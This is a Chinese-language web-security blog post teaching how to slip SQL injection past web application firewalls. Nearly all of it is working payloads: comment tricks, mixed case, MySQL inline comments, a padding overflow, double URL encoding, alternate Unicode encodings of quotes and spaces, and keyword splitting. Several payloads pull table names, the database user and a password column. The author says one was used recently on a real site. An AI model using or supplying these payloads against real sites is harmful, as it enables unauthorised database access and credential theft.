Web Hacker总是生存在与WAF的不断抗争之中的,厂商不断过滤,Hacker不断绕过。WAF bypass是一个永恒的话题,不少基友也总结了很多奇技怪招。那今天我在这里做个小小的扫盲吧。先来说说WAF bypass是啥。 WAF呢,简单说,它是一个Web应用程序防火墙,其功能呢是用于过滤某些恶意请求与某些关键字。WAF仅仅是一个工具,帮助你防护网站来的。但是如果你代码写得特别渣渣,别说WAF帮不了你,就连wefgod都帮不了你…所以不能天真的以为用上WAF你的网站就百毒不侵了。开始正题—- 1> 注释符 相信很多朋友都知道SQL的注释符吧,这算是绕WAF用的最广泛的了。它们允许我们绕过很多Web应用程序防火墙和限制,我们可以注释掉一些sql语句,然后让其只执行攻击语句而达到入侵目的。 常用注释符: //, -- , /**/, #, --+, -- -, ;%00 2> 情况改变 /union\sselect/g 那么我们就可以这样构造: id=1+UnIoN/**/SeLeCT 3> 内联注释 id=1/*!UnIoN*/SeLeCT 采用/*! code */来执行我们的SQL语句。内联注释可以用于整个SQL语句中。所以如果table_name或者者information_schema进行了过滤,我们可以添加更多的内联注释内容。 union,where, table_name, table_schema, =, and information_schema 这些都是我们内联注释需要绕过的目标。所以通常利用内联注释进行如下方式绕过: id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- - 通常情况下,上面的代码可以绕过过滤器,请注意,我们用的是 Like而不是 = id=1+UnIoN/*&a=*/SeLeCT/*&a=*/1,2,3,database()-- - 即使常见内联注释本身没有工作,上述的代码也应该可以绕过union+select过滤器。 id=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAAAAA 1000 more A's)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36--+ 上面的bypass语句,我在最近的一个网站绕过上用到了。 UNION+SELECT+1,2,3-- 6>Character 编码: id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+ 一些双重编码举例: 单引号:' %u0027 %u02b9 %u02bc %u02c8 %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7 空白: %u0020 %uff00 %c0%20 %c0%a0 %e0%80%a0 左括号(: %u0028 %uff08 %c0%28 %c0%a8 %e0%80%a8 右括号): %u0029 %uff09 %c0%29 %c0%a9 %e0%80%a9 7> 综合: id=1+Select+1,2,3-- 会给你报出以下错误: Error at line 1 near " "+1,2,3-- 上面也说过了黑名单方式过滤,也可以采用以下方式进行绕过: sel%0bect+1,2,3 这只是众多方法之一,绕过不同WAF需要不同的bypass思路。 id=1+uni*on+sel*ect+1,2,3--+ 这样的话,*被过滤掉了,但是union+select被保留下来了。这是常见的WAF bypass技巧,当然不仅仅是union+select,其他的语法被过滤了都可以采用这种的。找到被替换的那个关键字,你就能找到绕过的方法 id=1+(UnIoN)+(SelECT)+ id=1+(UnIoN+SeLeCT)+ id=1+(UnI)(oN)+(SeL)(EcT) id=1+'UnI''On'+'SeL''ECT' <-MySQL only id=1+'UnI'||'on'+SeLeCT' <-MSSQL only 注意:在mysql4.0种,UNI /**/ON+SEL/**/ ECT是没办法用的。 |
-
上一篇: 北京春笛网络信息技术服务有限公司邮箱系统默
下一篇: ThinkPHP的Ubb标签漏洞读取任意内容 - 网站安全 -
还没有人抢沙发呢~